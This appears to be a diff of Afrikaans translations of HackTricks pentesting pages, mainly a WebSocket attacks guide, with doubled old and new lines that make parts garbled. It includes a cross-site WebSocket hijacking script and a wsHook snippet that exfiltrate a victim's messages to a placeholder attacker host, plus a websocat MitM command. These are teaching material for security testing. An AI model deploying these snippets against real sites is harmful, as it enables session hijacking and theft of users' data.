* [ ] [**Tempobeperking omseil**](../rate-limit-bypass.md)
* [ ] [**Herstel vergeetwagwoord omseil**](../reset-password.md)
* [ ] [**Registrasiekwesbaarhede**](../registration-vulnerabilities.md)
### **Gestruktureerde voorwerpe / Spesifieke funksionaliteite**
* [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
* [ ] [**Bypass Betaling Proses**](../bypass-payment-process.md)
* [ ] [**Captcha Bypass**](../captcha-bypass.md)
* [ ] [**Login Bypass**](../login-bypass/)
* [ ] [**Race Toestand**](../race-condition.md)
* [ ] [**Tarief Limiet Bypass**](../rate-limit-bypass.md)
* [ ] [**Reset Vergete Wagwoord Bypass**](../reset-password.md)
* [ ] [**Registrasie Kwesbaarhede**](../registration-vulnerabilities.md)
Sommige funksionaliteite vereis dat die **data in 'n baie spesifieke formaat gestruktureer word** (soos 'n taal-geserializeerde voorwerp of XML). Daarom is dit makliker om te identifiseer of die toepassing vatbaar kan wees, aangesien dit daardie soort data moet verwerk.\
Sommige **spesifieke funksionaliteite** kan ook vatbaar wees as 'n **spesifieke formaat van die inset gebruik word** (soos E-poskopinspuitings).
### **Gestructureerde objek / Spesifieke funksies**
Sommige funksies sal vereis dat die **data in 'n baie spesifieke formaat gestruktureer moet wees** (soos 'n taal-serialiseerde objek of XML). Daarom is dit makliker om te identifiseer of die toepassing kwesbaar mag wees aangesien dit daardie soort data moet verwerk.\
Sommige **spesifieke funksies** mag ook kwesbaar wees as 'n **spesifieke formaat van die invoer gebruik word** (soos E-pos Header Injektering).
* [ ] [**Deserialisering**](../deserialization/)
* [ ] [**E-poskopinspuiting**](../email-injections.md)
* [ ] [**E-pos Header Injektering**](../email-injections.md)
* [ ] [**JWT Kwesbaarhede**](../hacking-jwt-json-web-tokens.md)
* [ ] [**XML Eksterne Entiteit**](../xxe-xee-xml-external-entity.md)
### Lêers
Funksionaliteite wat dit moontlik maak om lêers op te laai, kan vatbaar wees vir verskeie probleme.\
Funksionaliteite wat lêers genereer wat gebruikersinset insluit, kan onverwagte kode uitvoer.\
Gebruikers wat lêers wat deur gebruikers opgelaai is of outomaties gegenereer word en gebruikersinset insluit, kan gekompromitteer word.
Funksies wat die opgelaai van lêers toelaat, mag kwesbaar wees vir verskeie probleme.\
Funksies wat lêers genereer wat gebruikersinvoer insluit, mag onverwagte kode uitvoer.\
Gebruikers wat lêers wat deur gebruikers opgelaai of outomaties gegenereer is, insluitend gebruikersinvoer, mag gecompromitteer word.
* [ ] [**Lêeroplaai**](../file-upload/)
* [ ] [**Formule-inspuiting**](../formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**PDF-inspuiting**](../xss-cross-site-scripting/pdf-injection.md)
* [ ] [**Bedienerkant XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
* [ ] [**Lêer Oplaai**](../file-upload/)
* [ ] [**Formule Injektering**](../formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**PDF Injektering**](../xss-cross-site-scripting/pdf-injection.md)
* [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Eksterne Identiteitsbestuur**
### **Eksterne Identiteit Bestuur**
* [ ] [**OAUTH na Rekeningoorgawe**](../oauth-to-account-takeover.md)
* [ ] [**SAML-aanvalle**](../saml-attacks/)
* [ ] [**OAUTH na Rekening oorname**](../oauth-to-account-takeover.md)
* [ ] [**SAML Aanvalle**](../saml-attacks/)
### **Ander nuttige kwesbaarhede**
### **Ander Nuttige Kwesbaarhede**
Hierdie kwesbaarhede kan help om ander kwesbaarhede uit te buit.
Hierdie kwesbaarhede mag help om ander kwesbaarhede te ontgin.
* [ ] [**Domein/Subdomein-oorgawe**](../domain-subdomain-takeover.md)
* [ ] [**Domein/Subdomein oorname**](../domain-subdomain-takeover.md)
* [ ] [**IDOR**](../idor.md)
* [ ] [**Parameterbesoedeling**](../parameter-pollution.md)
* [ ] [**Parameter Besoedeling**](../parameter-pollution.md)
* [ ] [**Unicode Normalisering kwesbaarheid**](../unicode-injection/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# WebSocket Aanvalle
# WebSocket-aanvalle
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Wat is WebSockets
WebSocket-verbindinge word tot stand gebring deur 'n aanvanklike **HTTP** handskud en is ontwerp om **langdurig** te wees, wat bidireksionele boodskappe op enige tyd moontlik maak sonder die nodig vir 'n transaksionele stelsel. Dit maak WebSockets besonders voordelig vir toepassings wat **lae latensie of bediener-geïnisieerde kommunikasie** vereis, soos lewendige finansiële datastrome.
WebSocket-verbindinge word gevestig deur 'n aanvanklike **HTTP** handdruk en is ontwerp om **langdurig** te wees, wat bidireksionele boodskappe op enige tyd moontlik maak sonder die behoefte aan 'n transaksionele stelsel. Dit maak WebSockets veral voordelig vir toepassings wat **lae latensie of bediener-geïnisieerde kommunikasie** vereis, soos lewendige finansiële datastrome.
### Vestiging van WebSocket-verbindinge
'n Gedetailleerde verduideliking oor die vestiging van WebSocket-verbindinge kan hier geraadpleeg word [**hier**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Kortliks word WebSocket-verbindinge gewoonlik geïnisieer deur kliëntkant JavaScript soos hieronder getoon:
'n Gedetailleerde verduideliking oor die vestiging van WebSocket-verbindinge kan [**hier**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) verkry word. In samevatting, WebSocket-verbindinge word gewoonlik geïnisieer via kliënt-kant JavaScript soos hieronder getoon:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
Die `wss` protokol dui op 'n WebSocket verbinding wat beveilig is met **TLS**, terwyl `ws` 'n **onbeveiligde** verbinding aandui.
Die `wss` protokol dui 'n WebSocket-verbinding aan wat met **TLS** beveilig is, terwyl `ws` 'n **onbeveiligde** verbinding aandui.
Tydens die verbinding totstandkoming, word 'n handshake uitgevoer tussen die webblaaier en bediener oor HTTP. Die handshake proses behels dat die webblaaier 'n versoek stuur en die bediener antwoord, soos geïllustreer in die volgende voorbeelde:
Tydens die verbinding tot stand kom, word 'n handdruk tussen die blaaier en die bediener oor HTTP uitgevoer. Die handdrukproses behels dat die blaaiers 'n versoek stuur en die bediener antwoordgee, soos in die volgende voorbeelde geïllustreer:
Webblaaier stuur 'n handshake versoek:
Blaaier stuur 'n handdrukversoek:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
@ -38,26 +39,26 @@ Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Bediener se handskud-reaksie:
Server se handdruk antwoord:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
Die verbinding bly oop vir boodskapuitruiling in beide rigtings nadat dit gevestig is.
Die verbinding bly oop vir boodskapuitruiling in beide rigtings sodra dit gevestig is.
**Kernpunte van die WebSocket Handshake:**
**Belangrike Punten van die WebSocket Handshake:**
- Die `Connection` en `Upgrade` koppele dui die begin van 'n WebSocket handshake aan.
- Die `Sec-WebSocket-Version` kop dui die gewenste WebSocket-protokolverisie aan, gewoonlik `13`.
- 'n Base64-gekodeerde lukrake waarde word gestuur in die `Sec-WebSocket-Key` kop, wat verseker dat elke handshake uniek is en help om probleme met opgeslane proksi's te voorkom. Hierdie waarde is nie vir outentisering nie, maar om te bevestig dat die respons nie deur 'n verkeerd gekonfigureerde bediener of opgeslote gegenereer word nie.
- Die `Sec-WebSocket-Accept` kop in die bediener se respons is 'n has van die `Sec-WebSocket-Key`, wat die bediener se voorneme om 'n WebSocket-verbinding oop te maak, bevestig.
- Die `Connection` en `Upgrade` koptekste dui die begin van 'n WebSocket-handshake aan.
- Die `Sec-WebSocket-Version` koptekst dui die verlangde WebSocket-protokolweergawe aan, gewoonlik `13`.
- 'n Base64-gecodeerde ewekansige waarde word in die `Sec-WebSocket-Key` koptekst gestuur, wat verseker dat elke handshake uniek is, wat help om probleme met kasproxies te voorkom. Hierdie waarde is nie vir outentisering nie, maar om te bevestig dat die antwoord nie deur 'n verkeerd geconfigureerde bediener of kas gegenereer is nie.
- Die `Sec-WebSocket-Accept` koptekst in die bediener se antwoord is 'n hash van die `Sec-WebSocket-Key`, wat die bediener se bedoeling om 'n WebSocket-verbinding te open, verifieer.
Hierdie kenmerke verseker dat die handshake-proses veilig en betroubaar is, wat die pad baan vir doeltreffende werklike tyd kommunikasie.
Hierdie kenmerke verseker dat die handshake-proses veilig en betroubaar is, wat die pad baan vir doeltreffende regte-tyd kommunikasie.
### Linux-konsole
### Linux-konsol
Jy kan `websocat` gebruik om 'n rou verbinding met 'n websocket te vestig.
```bash
@ -67,41 +68,41 @@ Of om 'n websocat-bediener te skep:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM-websocket-verbinding
### MitM websocket verbindings
As jy vind dat kliënte gekoppel is aan 'n **HTTP-websocket** vanaf jou huidige plaaslike netwerk, kan jy 'n [ARP Spoofing-aanval](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) probeer om 'n MitM-aanval tussen die kliënt en die bediener uit te voer.\
Sodra die kliënt probeer om te koppel, kan jy dan gebruik maak van:
As jy vind dat kliënte verbind is met 'n **HTTP websocket** vanaf jou huidige plaaslike netwerk, kan jy 'n [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)probeer om 'n MitM-aanval tussen die kliënt en die bediener uit te voer.\
Sodra die kliënt probeer om te verbind, kan jy dan gebruik maak van:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets opsporing
Jy kan die **werktuig** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) gebruik om outomaties websockets te ontdek, vingerafdruk te neem en te soek vir bekende kwesbaarhede.
Jy kan die **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **gebruik om bekend** **kwesbaarhede** in websockets outomaties te ontdek, te vingerafdruk en te soek.
### Websocket Debug-werktuie
### Websocket Foutopsporing gereedskap
* **Burp Suite** ondersteun MitM websockets kommunikasie op 'n baie soortgelyke manier as vir gewone HTTP kommunikasie.
* Die [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite-uitbreiding** sal jou in staat stel om Websocket kommunikasie beter te bestuur in Burp deur die **geskiedenis** te kry, **onderskeppingreëls** in te stel, **pas en vervang** reëls te gebruik, **Intruder** en **AutoRepeater** te gebruik.
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Afkorting vir "**WebSocket/Socket.io Proxy**", hierdie werktuig, geskryf in Node.js, bied 'n gebruikerskoppelvlak om alle WebSocket- en Socket.IO-kommunikasie tussen die kliënt en bediener te **vang, onderskep, aangepaste** boodskappe te stuur en te sien.
* [**wsrepl**](https://github.com/doyensec/wsrepl) is 'n **interaktiewe websocket REPL** wat spesifiek ontwerp is vir penetrasietoetsing. Dit bied 'n koppelvlak om **inkomende websocket-boodskappe waar te neem en nuwes te stuur**, met 'n maklik-om-te-gebruik raamwerk vir die **outomatiese** kommunikasie.
* [**https://websocketking.com/**](https://websocketking.com/) dit is 'n **web om te kommunikeer** met ander webwerwe deur gebruik te maak van **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) onder andere tipes kommunikasie/protokolle, bied dit 'n **web om te kommunikeer** met ander webwerwe deur gebruik te maak van **websockets**.
* **Burp Suite** ondersteun MitM websockets kommunikasie op 'n baie soortgelyke manier as wat dit vir gewone HTTP kommunikasie doen.
* Die [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite uitbreiding** sal jou toelaat om beter Websocket kommunikasies in Burp te bestuur deur die **geskiedenis** te verkry, **afluisterreëls** in te stel, **ooreenkoms en vervang** reëls te gebruik, **Intruder** en **AutoRepeater** te gebruik.
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Kort vir "**WebSocket/Socket.io Proxy**", hierdie tool, geskryf in Node.js, bied 'n gebruikerskoppelvlak om **te vang, af te luister, pasgemaakte** boodskappe te stuur en al WebSocket en Socket.IO kommunikasies tussen die kliënt en bediener te sien.
* [**wsrepl**](https://github.com/doyensec/wsrepl) is 'n **interaktiewe websocket REPL** wat spesifiek vir penetrasietoetsing ontwerp is. Dit bied 'n koppelvlak om **inkomende websocket boodskappe te observeer en nuwe te stuur**, met 'n maklik-om-te-gebruik raamwerk vir **outomatisering** van hierdie kommunikasie.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) dit is 'n **web om te kommunikeer** met ander webs deur middel van **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) onder ander tipes kommunikasies/protokolle, bied dit 'n **web om te kommunikeer** met ander webs deur middel van **websockets.**
## Websocket-laboratorium
## Websocket Laboratorium
In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) het jy 'n kode om 'n webwerf te begin met behulp van websockets en in [**hierdie pos**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) kan jy 'n verduideliking vind.
In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) het jy 'n kode om 'n web te begin met websockets en in [**hierdie pos**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) kan jy 'n verduideliking vind.
## Cross-site WebSocket-ontvoering (CSWSH)
## Cross-site WebSocket kaping (CSWSH)
**Cross-site WebSocket-ontvoering**, ook bekend as **cross-origin WebSocket-ontvoering**, word geïdentifiseer as 'n spesifieke geval van **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** wat WebSocket-handskommunikasies affekteer. Hierdie kwesbaarheid ontstaan wanneer WebSocket-handskommunikasies slegs geverifieer word deur middel van **HTTP-koekies** sonder CSRF-token of soortgelyke sekuriteitsmaatreëls.
**Cross-site WebSocket kaping**, ook bekend as **cross-origin WebSocket kaping**, word geïdentifiseer as 'n spesifieke geval van **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** wat WebSocket handdrukke beïnvloed. Hierdie kwesbaarheid ontstaan wanneer WebSocket handdrukke slegs via **HTTP koekies** outentiseer sonder **CSRF tokens** of soortgelyke sekuriteitsmaatreëls.
Aanvallers kan dit uitbuit deur 'n **skadelike webbladsy** te hê wat 'n kruis-oorsprong WebSocket-verbinding met 'n kwesbare toepassing inisieer. Gevolglik word hierdie verbinding beskou as deel van die slagoffer se sessie met die toepassing, wat die gebrek aan CSRF-beskerming in die sessiehanteringmeganisme uitbuit.
Aanvallers kan dit benut deur 'n **kwaadaardige webblad** te huisves wat 'n cross-site WebSocket verbinding na 'n kwesbare toepassing inisieer. Gevolglik word hierdie verbinding as deel van die slagoffer se sessie met die toepassing beskou, wat die gebrek aan CSRF beskerming in die sessie hanteringsmeganisme benut.
### Eenvoudige Aanval
Let daarop dat wanneer 'n **websocket**-verbinding **opgestel** word, die **koekie** na die bediener **gestuur** word. Die bediener kan dit gebruik om elke **spesifieke gebruiker te koppel aan sy websocket-sessie gebaseer op die gestuurde koekie**.
Let daarop dat wanneer 'n **websocket** verbinding **gestig** word, die **koekie** na die bediener **gestuur** word. Die **bediener** mag dit gebruik om elke **spesifieke** **gebruiker** met sy **websocket** **sessie gebaseer op die gestuurde koekie** te **verbind**.
Dus, as byvoorbeeld die **websocket**-bediener die geskiedenis van die gesprek terugstuur van 'n gebruiker as 'n boodskap met "**READY**" gestuur word, sal 'n eenvoudige XSS wat die verbinding opstel (die **koekie** sal outomaties gestuur word om die slagoffer-gebruiker te magtig) deur "**READY**" te stuur in staat wees om die geskiedenis van die gesprek te **herwin**.
Dan, as die **websocket** **bediener** **die geskiedenis van die gesprek** van 'n gebruiker terugstuur as 'n boodskap met "**READY"** gestuur word, dan sal 'n **eenvoudige XSS** wat die verbinding tot stand bring (die **koekie** sal **automaties** gestuur word om die slagoffer gebruiker te magtig) **wat** "**READY**" **stuur**, in staat wees om die geskiedenis van die **gesprek** te **herwin**.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
@ -116,13 +117,13 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Kruis Oorsprong + Koekie met 'n ander subdomein
### Cross Origin + Cookie with a different subdomain
In hierdie blogpos [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) het die aanvaller daarin geslaag om **arbitrêre Javascript in 'n subdomein** van die domein waar die websocket kommunikasie plaasvind, uit te voer. Omdat dit 'n **subdomein** was, is die **koekie** gestuur, en omdat die **Websocket nie die Oorsprong behoorlik nagegaan het nie**, was dit moontlik om daarmee te kommunikeer en **tokens daaruit te steel**.
In hierdie blogpos [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) het die aanvaller daarin geslaag om **arbitraire Javascript in 'n subdomein** van die domein waar die web socket kommunikasie plaasgevind het, te **voer**. Omdat dit 'n **subdomein** was, is die **cookie** **gestuur**, en omdat die **Websocket nie die Origin behoorlik nagegaan het nie**, was dit moontlik om met dit te kommunikeer en **tokens van dit te steel**.
### Steel data van gebruiker
### Stealing data from user
Kopieer die webtoepassing wat jy wil naboots (die .html-lêers byvoorbeeld) en voeg hierdie kode by binne die skrips waar die websocket kommunikasie plaasvind:
Kopieer die webtoepassing wat jy wil naboots (die .html-lêers byvoorbeeld) en voeg hierdie kode by die skrip waar die websocket kommunikasie plaasvind:
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
@ -142,22 +143,22 @@ xhttp.send();
return messageEvent;
}
```
Laai nou die `wsHook.js` lêer af vanaf [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) en **stoor dit binne die vouer met die web lêers**.\
Deur die webtoepassing bloot te stel en 'n gebruiker daarmee te laat verbind, sal jy in staat wees om die gestuurde en ontvangste boodskappe via die websocket te steel:
Nou laai die `wsHook.js`-lêer af van [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) en **stoor dit binne die gids met die weblêers**.\
Deur die webtoepassing bloot te stel en 'n gebruiker te laat aansluit, sal jy in staat wees om die gestuurde en ontvangde boodskappe via websocket te steel:
```javascript
sudo python3 -m http.server 80
```
## Wedloopvoorwaardes
## Wedreningsvoorwaardes
Wedloopvoorwaardes in WebSockets is ook 'n ding, [kyk hierdie inligting om meer te leer](race-condition.md#rc-in-websockets).
Wedreningsvoorwaardes in WebSockets is ook 'n ding, [kyk hierdie inligting om meer te leer](race-condition.md#rc-in-websockets).
## Ander kwesbaarhede
Aangesien WebSockets 'n meganisme is om data na die bedienerkant en kliëntkant te stuur, afhangende van hoe die bediener en kliënt die inligting hanteer, kan WebSockets gebruik word om verskeie ander kwesbaarhede soos XSS, SQLi of enige ander algemene web-kwesbaarheid te misbruik deur die inset van 'n gebruiker van 'n websocket.
Aangesien Web Sockets 'n meganisme is om **data na die bediener- en kliëntkant te stuur**, afhangende van hoe die bediener en kliënt die inligting hanteer, **kan Web Sockets gebruik word om verskeie ander kwesbaarhede soos XSS, SQLi of enige ander algemene web kwesbaarheid te benut deur die invoer van 'n gebruiker vanaf 'n websocket.**
## **WebSocket Smuggling**
Hierdie kwesbaarheid kan jou in staat stel om omgekeerde proksi-beperkings te omseil deur hulle te laat glo dat 'n websocket-kommunikasie tot stand gebring is (selfs al is dit nie waar nie). Dit kan 'n aanvaller in staat stel om toegang te verkry tot verborge eindpunte. Vir meer inligting, kyk na die volgende bladsy:
Hierdie kwesbaarheid kan jou toelaat om **omgekeerde proxybeperkings te omseil** deur hulle te laat glo dat 'n **websocket kommunikasie gevestig is** (selfs al is dit nie waar nie). Dit kan 'n aanvaller toelaat om **verborgene eindpunte te benader**. Vir meer inligting, kyk na die volgende bladsy:
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
@ -167,16 +168,17 @@ Hierdie kwesbaarheid kan jou in staat stel om omgekeerde proksi-beperkings te om
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,47 +1,48 @@
# Verbindingspoel Voorbeelde
# Connection Pool Voorbeelde
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Sekaictf2022 - safelist
In die [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) uitdaging, gee [**@Strellic\_**](https://twitter.com/Strellic\_) 'n voorbeeld van hoe om 'n **variasie** van die **Verbindingspoel**-tegniek te gebruik om 'n **XS-Leak** uit te voer.
In die [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) uitdaging, [**@Strellic\_**](https://twitter.com/Strellic\_) gee 'n voorbeeld van hoe om 'n **variatie** van die **Connection Pool** tegniek te gebruik om 'n **XS-Leak** uit te voer.
In hierdie uitdaging is die doel om 'n vlag te eksfiltreer wat in die bots web-sessie binne 'n pos sal verskyn. Hier is die bates wat die aanvaller het:
